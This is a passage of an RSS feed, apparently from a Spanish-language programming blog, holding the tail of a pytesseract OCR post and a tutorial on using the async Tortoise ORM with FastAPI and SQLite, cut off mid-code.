549.943,25.479 553.102,25.623 C556.021,25.756 557.607,26.244 558.662,26.654 C560.06,27.196 561.058,27.846 562.106,28.894 C563.154,29.942 563.803,30.938 564.346,32.338 C564.756,33.391 565.244,34.978 565.378,37.899 C565.522,41.056 565.552,42.003 565.552,50 C565.552,57.996 565.522,58.943 565.378,62.101 M570.82,37.631 C570.674,34.438 570.167,32.258 569.425,30.349 C568.659,28.377 567.633,26.702 565.965,25.035 C564.297,23.368 562.623,22.342 560.652,21.575 C558.743,20.834 556.562,20.326 553.369,20.18 C550.169,20.033 549.148,20 541,20 C532.853,20 531.831,20.033 528.631,20.18 C525.438,20.326 523.257,20.834 521.349,21.575 C519.376,22.342 517.703,23.368 516.035,25.035 C514.368,26.702 513.342,28.377 512.574,30.349 C511.834,32.258 511.326,34.438 511.181,37.631 C511.035,40.831 511,41.851 511,50 C511,58.147 511.035,59.17 511.181,62.369 C511.326,65.562 511.834,67.743 512.574,69.651 C513.342,71.625 514.368,73.296 516.035,74.965 C517.703,76.634 519.376,77.658 521.349,78.425 C523.257,79.167 525.438,79.673 528.631,79.82 C531.831,79.965 532.853,80.001 541,80.001 C549.148,80.001 550.169,79.965 553.369,79.82 C556.562,79.673 558.743,79.167 560.652,78.425 C562.623,77.658 564.297,76.634 565.965,74.965 C567.633,73.296 568.659,71.625 569.425,69.651 C570.167,67.743 570.674,65.562 570.82,62.369 C570.966,59.17 571,58.147 571,50 C571,41.851 570.966,40.831 570.82,37.631&#34;&#xA;                  &gt;&lt;/path&gt;&#xA;                &lt;/g&gt;&#xA;              &lt;/g&gt;&#xA;            &lt;/g&gt;&#xA;          &lt;/svg&gt;&#xA;        &lt;/div&gt;&#xA;        &lt;div style=&#34;padding-top: 8px&#34;&gt;&#xA;          &lt;div&#xA;            style=&#34;&#xA;              color: #3897f0;&#xA;              font-family: Arial, sans-serif;&#xA;              font-size: 14px;&#xA;              font-style: normal;&#xA;              font-weight: 550;&#xA;              line-height: 18px;&#xA;            &#34;&#xA;          &gt;&#xA;            View this post on Instagram&#xA;          &lt;/div&gt;&#xA;        &lt;/div&gt;&#xA;        &lt;div style=&#34;padding: 12.5% 0&#34;&gt;&lt;/div&gt;&#xA;        &lt;div&#xA;          style=&#34;&#xA;            display: flex;&#xA;            flex-direction: row;&#xA;            margin-bottom: 14px;&#xA;            align-items: center;&#xA;          &#34;&#xA;        &gt;&#xA;          &lt;div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                border-radius: 50%;&#xA;                height: 12.5px;&#xA;                width: 12.5px;&#xA;                transform: translateX(0px) translateY(7px);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                height: 12.5px;&#xA;                transform: rotate(-45deg) translateX(3px) translateY(1px);&#xA;                width: 12.5px;&#xA;                flex-grow: 0;&#xA;                margin-right: 14px;&#xA;                margin-left: 2px;&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                border-radius: 50%;&#xA;                height: 12.5px;&#xA;                width: 12.5px;&#xA;                transform: translateX(9px) translateY(-18px);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;          &lt;/div&gt;&#xA;          &lt;div style=&#34;margin-left: 8px&#34;&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                border-radius: 50%;&#xA;                flex-grow: 0;&#xA;                height: 20px;&#xA;                width: 20px;&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                width: 0;&#xA;                height: 0;&#xA;                border-top: 2px solid transparent;&#xA;                border-left: 6px solid #f4f4f4;&#xA;                border-bottom: 2px solid transparent;&#xA;                transform: translateX(16px) translateY(-4px) rotate(30deg);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;          &lt;/div&gt;&#xA;          &lt;div style=&#34;margin-left: auto&#34;&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                width: 0px;&#xA;                border-top: 8px solid #f4f4f4;&#xA;                border-right: 8px solid transparent;&#xA;                transform: translateY(16px);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                flex-grow: 0;&#xA;                height: 12px;&#xA;                width: 16px;&#xA;                transform: translateY(-4px);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                width: 0;&#xA;                height: 0;&#xA;                border-top: 8px solid #f4f4f4;&#xA;                border-left: 8px solid transparent;&#xA;                transform: translateY(-4px) translateX(8px);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;          &lt;/div&gt;&#xA;        &lt;/div&gt;&#xA;        &lt;div&#xA;          style=&#34;&#xA;            display: flex;&#xA;            flex-direction: column;&#xA;            flex-grow: 1;&#xA;            justify-content: center;&#xA;            margin-bottom: 24px;&#xA;          &#34;&#xA;        &gt;&#xA;          &lt;div&#xA;            style=&#34;&#xA;              background-color: #f4f4f4;&#xA;              border-radius: 4px;&#xA;              flex-grow: 0;&#xA;              height: 14px;&#xA;              margin-bottom: 6px;&#xA;              width: 224px;&#xA;            &#34;&#xA;          &gt;&lt;/div&gt;&#xA;          &lt;div&#xA;            style=&#34;&#xA;              background-color: #f4f4f4;&#xA;              border-radius: 4px;&#xA;              flex-grow: 0;&#xA;              height: 14px;&#xA;              width: 144px;&#xA;            &#34;&#xA;          &gt;&lt;/div&gt;&lt;/div&#xA;      &gt;&lt;/a&gt;&#xA;    &lt;/div&gt;&#xA;  &lt;/blockquote&gt;&lt;script async src=&#34;https://www.instagram.com/embed.js&#34;&gt;&lt;/script&gt;&#xA;&lt;h2 id=&#34;tutorial-de-pytesseract&#34;&gt;Tutorial de pytesseract&lt;/h2&gt;&#xA;&lt;p&gt;Para llevar a cabo el OCR con Python necesitaremos tesseract, que es la librería que se encarga de todo el trabajo pesado y el procesamiento de imágenes necesario para extraer texto de imágenes.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Integración del ORM de Python tortoise con FastAPI</title>
      <link>https://coffeebytes.dev/es/fastapi/integracion-del-orm-de-python-tortoise-con-fastapi/</link>
      <pubDate>Tue, 21 Sep 2021 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/fastapi/integracion-del-orm-de-python-tortoise-con-fastapi/</guid>
      
      <category>fastapi</category>
      
      <category>databases</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Una de las cosas que más me gustan de Django es su ORM; &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/django/por-que-deberias-usar-django-framework/&#34;&gt;una de las razones por las que este framework es tan popular&lt;/a&gt;&#xA;. Por otro lado FastAPI no cuenta con un ORM y se centra únicamente en servir endpoints, mostrándose agnóstico sobre la base de datos. Hay bastantes opciones de ORM para python: django-alchemy, peewee, ponyORM, tortoise. Este último, además de ser asíncrono, está inspirado en el ORM de django, por lo que su sintaxis es bastante similar, incluso muchas funciones de tortoise comparten nombre con su contraparte de Django, por lo que los usuarios que usan el ORM de Django van a ahorrarse mucho tiempo aprendiendo las funciones de tortoise.&lt;/p&gt;&#xA;&lt;p&gt;Para este tutorial voy a usar fastAPI y tortoise-orm juntos por lo que asegúrate de saber al menos lo básico del framework fastAPI y lo básico de base de datos.&lt;/p&gt;&#xA;&lt;h2 id=&#34;compatibilidad-de-tortoise&#34;&gt;Compatibilidad de tortoise&lt;/h2&gt;&#xA;&lt;p&gt;Tortoise es compatible con las siguientes bases de datos.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;PostgreSQL &amp;gt;= 9.4 (usando asyncpg)&lt;/li&gt;&#xA;&lt;li&gt;SQLite (usando aiosqlite)&lt;/li&gt;&#xA;&lt;li&gt;MySQL/MariaDB (using aiomysql o asyncmy)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Pero para este ejemplo voy a usar SQLite, por que no necesita configuración de ningún tipo.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;instalacion-del-orm-de-python-tortoise&#34;&gt;Instalación del ORM de Python tortoise&lt;/h2&gt;&#xA;&lt;p&gt;Para instalar tortoise-orm basta con usar el administrador de entornos virtuales que prefieras, yo usaré pipenv.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pip install tortoise-orm&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Instalaré también fastAPI y otras utilidades que necesitaremos&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pip install python-multipart fastapi uvicorn pydantic&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;crear-modelos-con-tortoise&#34;&gt;Crear modelos con tortoise&lt;/h2&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;Vamos a crear un directorio llamado app y un archivo de modelos llamado &lt;em&gt;models.py&lt;/em&gt;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# app/models.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; tortoise.models &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Model&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; tortoise &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; fields&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Job&lt;/span&gt;(Model):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# El campo de la llave primaria se crea automáticamente&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# id = fields.IntField(pk=True) &lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    name &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; fields&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;CharField(max_length&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;255&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    description &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; fields&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;TextField()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;__str__&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;name&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Si te fijas la sintaxis es bastante similar a los campos de Django, incluso algunos parámetros son iguales.&lt;/p&gt;&#xA;&lt;p&gt;Para empezar a trabajar con el ORM de tortoise necesitamos:&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Conectarnos a la base de datos&lt;/li&gt;&#xA;&lt;li&gt;Crear la(s) tabla(s) necesaria(s)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h2 id=&#34;conectarse-a-la-base-de-datos-con-tortoise&#34;&gt;Conectarse a la base de datos con tortoise&lt;/h2&gt;&#xA;&lt;p&gt;Vamos a crear una función para conectarnos a la base de datos en un directorio llamado database:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# database/connectToDatabase.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; tortoise &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Tortoise&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;async&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;connectToDatabase&lt;/span&gt;():&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;await&lt;/span&gt; Tortoise&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;init(&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        db_url&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;sqlite://db.sqlite3&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        modules&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;{&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;models&amp;#39;&lt;/span&gt;: [&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;app.models&amp;#39;&lt;/span&gt;]}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    )&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;generando-esquemas-con-tortoise&#34;&gt;Generando esquemas con tortoise&lt;/h2&gt;&#xA;&lt;p&gt;Ahora creemos una función para generar los modelos en la raíz de nuestra aplicación.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# createSchema.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; tortoise &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Tortoise, run_async&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; database.connectToDatabase &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; connectToDatabase&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;async&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;main&lt;/span&gt;():&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;await&lt;/span&gt; connectToDatabase()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;await&lt;/span&gt; Tortoise&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;generate_schemas()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;__name__&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;__main__&amp;#39;&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    run_async(main())&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Observa como importamos la función para conectarnos que acabamos de crear y posteriormente llamamos al método &lt;em&gt;generate_schemas()&lt;/em&gt; , que se encargará de leer nuestros modelos y hacer los cambios en la base de datos.&lt;/p&gt;&#xA;&lt;p&gt;Otro aspecto que debes apreciar es que corremos la función principal dentro de la función &lt;em&gt;run_async()&lt;/em&gt;, que nos provee tortoise. Esto es necesario para que nuestras funciones await se ejecuten, de otra forma solo se crearía un objeto &lt;em&gt;corroutine&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;¿Por qué colocamos este método en un archivo externo? Porque &lt;strong&gt;&lt;em&gt;generate_schemas()&lt;/em&gt; solo requiere usarse una vez&lt;/strong&gt;; cuando se crean las tablas. No debemos incluirlo en el archivo que se correrá cuando se ejecute fastAPI.&lt;/p&gt;&#xA;&lt;p&gt;Sabiendo eso, ejecutémoslo para crear nuestras tablas.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;python3 createSchema.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Si todo salió bien ya tendremos las tablas creadas en nuestra base de datos SQLite.&lt;/p&gt;&#xA;&lt;h2 id=&#34;integracion-de-tortoise-con-fastapi&#34;&gt;Integración de tortoise con fastAPI&lt;/h2&gt;&#xA;&lt;p&gt;Partiremos de una aplicación sencilla de fastAPI.&lt;/p&gt;&#xA;&lt;p&gt;Para conectar fastAPI con tortoise, esta última nos da una función llamada &lt;em&gt;register_tortosise()&lt;/em&gt;. Que recibe la instancia que creamos con fastAPI, la dirección a la base de datos y la ubicación de nuestros modelos.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# main.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; fastapi &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; FastAPI&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; database.connectToDatabase &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; connectToDatabase&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;app &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; FastAPI()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;await&lt;/span&gt; connectToDatabase()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;@app.get&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;async&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;read_root&lt;/span&gt;():&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; {&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Hello&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;World&amp;#34;&lt;/span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;register_tortoise(&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    app,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    db_url&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;sqlite://db.sqlite3&amp;#34;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    modules&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;{&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;models&amp;#34;&lt;/span&gt;: [&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;app.models&amp;#34;&lt;/span&gt;]},&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    generate_schemas&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    add_exception_handlers&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span 